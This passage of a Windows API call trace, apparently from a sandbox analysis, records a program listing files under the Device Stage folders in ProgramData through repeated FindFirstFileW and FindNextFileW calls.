	[0063.544] FindNextFileW (in: hFindFile=0xbaa608, lpFindFileData=0x2ecea24 | out: lpFindFileData=0x2ecea24*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17c95299, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xbd55373b, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x1a8653f0, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0063.544] FindNextFileW (in: hFindFile=0xbaa608, lpFindFileData=0x2ecea24 | out: lpFindFileData=0x2ecea24*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x62062b13, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x62062b13, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x62062b13, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0x1fad1, dwReserved0=0x0, dwReserved1=0x0, cFileName="background.png", cAlternateFileName="")) returned 1
	[0063.544] FindNextFileW (in: hFindFile=0xbaa608, lpFindFileData=0x2ecea24 | out: lpFindFileData=0x2ecea24*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x62062b13, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x62062b13, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x62062b13, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0xb61, dwReserved0=0x0, dwReserved1=0x0, cFileName="behavior.xml", cAlternateFileName="")) returned 1
	[0063.544] FindNextFileW (in: hFindFile=0xbaa608, lpFindFileData=0x2ecea24 | out: lpFindFileData=0x2ecea24*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x62062b13, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x62062b13, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x62062b13, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0xadc8, dwReserved0=0x0, dwReserved1=0x0, cFileName="device.png", cAlternateFileName="")) returned 1
	[0063.545] FindNextFileW (in: hFindFile=0xbaa608, lpFindFileData=0x2ecea24 | out: lpFindFileData=0x2ecea24*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x62088d76, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x62088d76, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x62088d76, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0x70c1, dwReserved0=0x0, dwReserved1=0x0, cFileName="overlay.png", cAlternateFileName="")) returned 1
	[0063.545] FindNextFileW (in: hFindFile=0xbaa608, lpFindFileData=0x2ecea24 | out: lpFindFileData=0x2ecea24*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x62062b13, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x62062b13, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x62062b13, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0x99d3, dwReserved0=0x0, dwReserved1=0x0, cFileName="superbar.png", cAlternateFileName="")) returned 1
	[0063.545] FindNextFileW (in: hFindFile=0xbaa608, lpFindFileData=0x2ecea24 | out: lpFindFileData=0x2ecea24*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x62062b13, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x62062b13, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x62062b13, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0x99d3, dwReserved0=0x0, dwReserved1=0x0, cFileName="superbar.png", cAlternateFileName="")) returned 0
	[0063.545] FindClose (in: hFindFile=0xbaa608 | out: hFindFile=0xbaa608) returned 1
	[0063.546] HeapFree (in: hHeap=0x2720000, dwFlags=0x0, lpMem=0x3870068 | out: hHeap=0x2720000) returned 1
	[0063.546] FindNextFileW (in: hFindFile=0xbaa748, lpFindFileData=0x2ececa8 | out: lpFindFileData=0x2ececa8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17c95299, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xbd554496, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x1a8653f0, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="{8702d817-5aad-4674-9ef3-4d3decd87120}", cAlternateFileName="{8702D~1")) returned 1
	[0063.546] FindFirstFileW (in: lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Device Stage\\Device\\{8702d817-5aad-4674-9ef3-4d3decd87120}\\*", lpFindFileData=0x2ecea24 | out: lpFindFileData=0x2ecea24*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17c95299, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xbd554496, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x1a8653f0, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0xbaa448
	[0063.547] FindNextFileW (in: hFindFile=0xbaa448, lpFindFileData=0x2ecea24 | out: lpFindFileData=0x2ecea24*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17c95299, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xbd554496, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x1a8653f0, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0063.547] FindNextFileW (in: hFindFile=0xbaa448, lpFindFileData=0x2ecea24 | out: lpFindFileData=0x2ecea24*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x4933c6a8, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x4933c6a8, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x4933c6a8, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0x1fad1, dwReserved0=0x0, dwReserved1=0x0, cFileName="background.png", cAlternateFileName="")) returned 1
	[0063.547] FindNextFileW (in: hFindFile=0xbaa448, lpFindFileData=0x2ecea24 | out: lpFindFileData=0x2ecea24*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x4933c6a8, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x4933c6a8, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x4933c6a8, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0x6cf, dwReserved0=0x0, dwReserved1=0x0, cFileName="behavior.xml", cAlternateFileName="")) returned 1
	[0063.547] FindNextFileW (in: hFindFile=0xbaa448, lpFindFileData=0x2ecea24 | out: lpFindFileData=0x2ecea24*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x4933c6a8, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x4933c6a8, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x4933c6a8, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0x70c1, dwReserved0=0x0, dwReserved1=0x0, cFileName="watermark.png", cAlternateFileName="")) returned 1
	[0063.547] FindNextFileW (in: hFindFile=0xbaa448, lpFindFileData=0x2ecea24 | out: lpFindFileData=0x2ecea24*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x4933c6a8, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x4933c6a8, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x4933c6a8, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0x70c1, dwReserved0=0x0, dwReserved1=0x0, cFileName="watermark.png", cAlternateFileName="")) returned 0
	[0063.547] FindClose (in: hFindFile=0xbaa448 | out: hFindFile=0xbaa448) returned 1
	[0063.547] HeapFree (in: hHeap=0x2720000, dwFlags=0x0, lpMem=0x3870068 | out: hHeap=0x2720000) returned 1
	[0063.547] FindNextFileW (in: hFindFile=0xbaa748, lpFindFileData=0x2ececa8 | out: lpFindFileData=0x2ececa8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17c95299, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xbd554496, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x1a8653f0, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="{8702d817-5aad-4674-9ef3-4d3decd87120}", cAlternateFileName="{8702D~1")) returned 0
	[0063.547] FindClose (in: hFindFile=0xbaa748 | out: hFindFile=0xbaa748) returned 1
	[0063.547] HeapFree (in: hHeap=0x2720000, dwFlags=0x0, lpMem=0x3860060 | out: hHeap=0x2720000) returned 1
	[0063.548] FindNextFileW (in: hFindFile=0xbaa248, lpFindFileData=0x2ecef2c | out: lpFindFileData=0x2ecef2c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17c95299, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xbd555071, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x17c95299, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Task", cAlternateFileName="")) returned 1
	[0063.549] FindFirstFileW (in: lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Device Stage\\Task\\*", lpFindFileData=0x2ececa8 | out: lpFindFileData=0x2ececa8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17c95299, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xbd555071, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x17c95299, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0xbaa608
	[0063.549] FindNextFileW (in: hFindFile=0xbaa608, lpFindFileData=0x2ececa8 | out: lpFindFileData=0x2ececa8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17c95299, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xbd555071, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x17c95299, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0063.549] FindNextFileW (in: hFindFile=0xbaa608, lpFindFileData=0x2ececa8 | out: lpFindFileData=0x2ececa8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17c95299, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xbd5f4a5c, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x8b27bb25, ftLastWriteTime.dwHighDateTime=0x1d2a058, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="{07deb856-fc6e-4fb9-8add-d8f2cf8722c9}", cAlternateFileName="{07DEB~1")) returned 1
	[0063.549] FindFirstFileW (in: lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Device Stage\\Task\\{07deb856-fc6e-4fb9-8add-d8f2cf8722c9}\\*", lpFindFileData=0x2ecea24 | out: lpFindFileData=0x2ecea24*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17c95299, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xbd5f4a5c, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x8b27bb25, ftLastWriteTime.dwHighDateTime=0x1d2a058, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0xbaa9c8
	[0063.583] FindNextFileW (in: hFindFile=0xbaa9c8, lpFindFileData=0x2ecea24 | out: lpFindFileData=0x2ecea24*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17c95299, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xbd5f4a5c, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x8b27bb25, ftLastWriteTime.dwHighDateTime=0x1d2a058, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0063.584] FindNextFileW (in: hFindFile=0xbaa9c8, lpFindFileData=0x2ecea24 | out: lpFindFileData=0x2ecea24*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x8b27bb25, ftCreationTime.dwHighDateTime=0x1d2a058, ftLastAccessTime.dwLowDateTime=0xbd5f5c36, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x8b27bb25, ftLastWriteTime.dwHighDateTime=0x1d2a058, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="en-US", cAlternateFileName="")) returned 1
	[0063.584] FindFirstFileW (in: lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Device Stage\\Task\\{07deb856-fc6e-4fb9-8add-d8f2cf8722c9}\\en-US\\*", lpFindFileData=0x2ece7a0 | out: lpFindFileData=0x2ece7a0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x8b27bb25, ftCreationTime.dwHighDateTime=0x1d2a058, ftLastAccessTime.dwLowDateTime=0xbd5f5c36, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x8b27bb25, ftLastWriteTime.dwHighDateTime=0x1d2a058, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0xbaa388
	[0063.584] FindNextFileW (in: hFindFile=0xbaa388, lpFindFileData=0x2ece7a0 | out: lpFindFileData=0x2ece7a0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x8b27bb25, ftCreationTime.dwHighDateTime=0x1d2a058, ftLastAccessTime.dwLowDateTime=0xbd5f5c36, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x8b27bb25, ftLastWriteTime.dwHighDateTime=0x1d2a058, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0063.584] FindNextFileW (in: hFindFile=0xbaa388, lpFindFileData=0x2ece7a0 | out: lpFindFileData=0x2ece7a0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3de910b4, ftCreationTime.dwHighDateTime=0x1d2a058, ftLastAccessTime.dwLowDateTime=0x755f99d9, ftLastAccessTime.dwHighDateTime=0x1d2a058, ftLastWriteTime.dwLowDateTime=0x11db3100, ftLastWriteTime.dwHighDateTime=0x1d29faa, nFileSizeHigh=0x0, nFileSizeLow=0x536, dwReserved0=0x0, dwReserved1=0x0, cFileName="resource.xml", cAlternateFileName="")) returned 1
	[0063.584] FindNextFileW (in: hFindFile=0xbaa388, lpFindFileData=0x2ece7a0 | out: lpFindFileData=0x2ece7a0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3de910b4, ftCreationTime.dwHighDateTime=0x1d2a058, ftLastAccessTime.dwLowDateTime=0x755f99d9, ftLastAccessTime.dwHighDateTime=0x1d2a058, ftLastWriteTime.dwLowDateTime=0x11db3100, ftLastWriteTime.dwHighDateTime=0x1d29faa, nFileSizeHigh=0x0, nFileSizeLow=0x536, dwReserved0=0x0, dwReserved1=0x0, cFileName="resource.xml", cAlternateFileName="")) returned 0
	[0063.584] FindClose (in: hFindFile=0xbaa388 | out: hFindFile=0xbaa388) returned 1
	[0063.585] HeapFree (in: hHeap=0x2720000, dwFlags=0x0, lpMem=0x38c0090 | out: hHeap=0x2720000) returned 1
	[0063.585] FindNextFileW (in: hFindFile=0xbaa9c8, lpFindFileData=0x2ecea24 | out: lpFindFileData=0x2ecea24*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x49316445, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x49316445, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x49316445, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0xd0a3, dwReserved0=0x0, dwReserved1=0x0, cFileName="folder.ico", cAlternateFileName="")) returned 1
	[0063.585] FindNextFileW (in: hFindFile=0xbaa9c8, lpFindFileData=0x2ecea24 | out: lpFindFileData=0x2ecea24*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x49316445, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x49316445, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x4933c6a8, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0x72ee, dwReserved0=0x0, dwReserved1=0x0, cFileName="netfol.ico", cAlternateFileName="")) returned 1
	[0063.585] FindNextFileW (in: hFindFile=0xbaa9c8, lpFindFileData=0x2ecea24 | out: lpFindFileData=0x2ecea24*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x4933c6a8, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x4933c6a8, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x4933c6a8, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0x14668, dwReserved0=0x0, dwReserved1=0x0, cFileName="pictures.ico", cAlternateFileName="")) returned 1
	[0063.585] FindNextFileW (in: hFindFile=0xbaa9c8, lpFindFileData=0x2ecea24 | out: lpFindFileData=0x2ecea24*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x49362917, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x49362917, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x49362917, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0x536, dwReserved0=0x0, dwReserved1=0x0, cFileName="resource.xml", cAlternateFileName="")) returned 1
	[0063.585] FindNextFileW (in: hFindFile=0xbaa9c8, lpFindFileData=0x2ecea24 | out: lpFindFileData=0x2ecea24*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x4933c6a8, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x4933c6a8, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x4933c6a8, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0xcaa9, dwReserved0=0x0, dwReserved1=0x0, cFileName="ringtones.ico", cAlternateFileName="")) returned 1
	[0063.586] FindNextFileW (in: hFindFile=0xbaa9c8, lpFindFileData=0x2ecea24 | out: lpFindFileData=0x2ecea24*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x4933c6a8, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x4933c6a8, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x4933c6a8, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0x10850, dwReserved0=0x0, dwReserved1=0x0, cFileName="settings.ico", cAlternateFileName="")) returned 1
	[0063.586] FindNextFileW (in: hFindFile=0xbaa9c8, lpFindFileData=0x2ecea24 | out: lpFindFileData=0x2ecea24*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x4933c6a8, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x4933c6a8, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x4933c6a8, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0xc04b, dwReserved0=0x0, dwReserved1=0x0, cFileName="sync.ico", cAlternateFileName="")) returned 1
	[0063.586] FindNextFileW (in: hFindFile=0xbaa9c8, lpFindFileData=0x2ecea24 | out: lpFindFileData=0x2ecea24*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x49316445, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x49316445, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x49316445, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0x2aff, dwReserved0=0x0, dwReserved1=0x0, cFileName="tasks.xml", cAlternateFileName="")) returned 1
	[0063.586] FindNextFileW (in: hFindFile=0xbaa9c8, lpFindFileData=0x2ecea24 | out: lpFindFileData=0x2ecea24*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x4933c6a8, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x4933c6a8, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x4933c6a8, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0x1b9f4, dwReserved0=0x0, dwReserved1=0x0, cFileName="wmp.ico", cAlternateFileName="")) returned 1
	[0063.586] FindNextFileW (in: hFindFile=0xbaa9c8, lpFindFileData=0x2ecea24 | out: lpFindFileData=0x2ecea24*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x4933c6a8, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x4933c6a8, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x4933c6a8, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0x1b9f4, dwReserved0=0x0, dwReserved1=0x0, cFileName="wmp.ico", cAlternateFileName="")) returned 0
	[0063.586] FindClose (in: hFindFile=0xbaa9c8 | out: hFindFile=0xbaa9c8) returned 1
	[0063.586] HeapFree (in: hHeap=0x2720000, dwFlags=0x0, lpMem=0x3870068 | out: hHeap=0x2720000) returned 1
	[0063.587] FindNextFileW (in: hFindFile=0xbaa608, lpFindFileData=0x2ececa8 | out: lpFindFileData=0x2ececa8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17c95299, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xbd64a757, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x8b2a1d79, ftLastWriteTime.dwHighDateTime=0x1d2a058, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="{e35be42d-f742-4d96-a50a-1775fb1a7a42}", cAlternateFileName="{E35BE~1")) returned 1
	[0063.587] FindFirstFileW (in: lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Device Stage\\Task\\{e35be42d-f742-4d96-a50a-1775fb1a7a42}\\*", lpFindFileData=0x2ecea24 | out: lpFindFileData=0x2ecea24*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17c95299, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xbd64a757, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x8b2a1d79, ftLastWriteTime.dwHighDateTime=0x1d2a058, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0xbaa448
	[0063.604] FindNextFileW (in: hFindFile=0xbaa448, lpFindFileData=0x2ecea24 | out: lpFindFileData=0x2ecea24*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17c95299, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xbd64a757, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x8b2a1d79, ftLastWriteTime.dwHighDateTime=0x1d2a058, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0063.604] FindNextFileW (in: hFindFile=0xbaa448, lpFindFileData=0x2ecea24 | out: lpFindFileData=0x2ecea24*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x8b2a1d79, ftCreationTime.dwHighDateTime=0x1d2a058, ftLastAccessTime.dwLowDateTime=0xbd64b86a, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x8b2a1d79, ftLastWriteTime.dwHighDateTime=0x1d2a058, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="en-US", cAlternateFileName="")) returned 1
	[0063.604] FindFirstFileW (in: lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Device Stage\\Task\\{e35be42d-f742-4d96-a50a-1775fb1a7a42}\\en-US\\*", lpFindFileData=0x2ece7a0 | out: lpFindFileData=0x2ece7a0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x8b2a1d79, ftCreationTime.dwHighDateTime=0x1d2a058, ftLastAccessTime.dwLowDateTime=0xbd64b86a, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x8b2a1d79, ftLastWriteTime.dwHighDateTime=0x1d2a058, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0xbaa508
	[0063.604] FindNextFileW (in: hFindFile=0xbaa508, lpFindFileData=0x2ece7a0 | out: lpFindFileData=0x2ece7a0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x8b2a1d79, ftCreationTime.dwHighDateTime=0x1d2a058, ftLastAccessTime.dwLowDateTime=0xbd64b86a, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x8b2a1d79, ftLastWriteTime.dwHighDateTime=0x1d2a058, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0063.604] FindNextFileW (in: hFindFile=0xbaa508, lpFindFileData=0x2ece7a0 | out: lpFindFileData=0x2ece7a0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3bf64479, ftCreationTime.dwHighDateTime=0x1d2a058, ftLastAccessTime.dwLowDateTime=0x781a2192, ftLastAccessTime.dwHighDateTime=0x1d2a058, ftLastWriteTime.dwLowDateTime=0x549d0900, ftLastWriteTime.dwHighDateTime=0x1d29faa, nFileSizeHigh=0x0, nFileSizeLow=0x5e8, dwReserved0=0x0, dwReserved1=0x0, cFileName="resource.xml", cAlternateFileName="")) returned 1
	[0063.604] FindNextFileW (in: hFindFile=0xbaa508, lpFindFileData=0x2ece7a0 | out: lpFindFileData=0x2ece7a0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3bf64479, ftCreationTime.dwHighDateTime=0x1d2a058, ftLastAccessTime.dwLowDateTime=0x781a2192, ftLastAccessTime.dwHighDateTime=0x1d2a058, ftLastWriteTime.dwLowDateTime=0x549d0900, ftLastWriteTime.dwHighDateTime=0x1d29faa, nFileSizeHigh=0x0, nFileSizeLow=0x5e8, dwReserved0=0x0, dwReserved1=0x0, cFileName="resource.xml", cAlternateFileName="")) returned 0
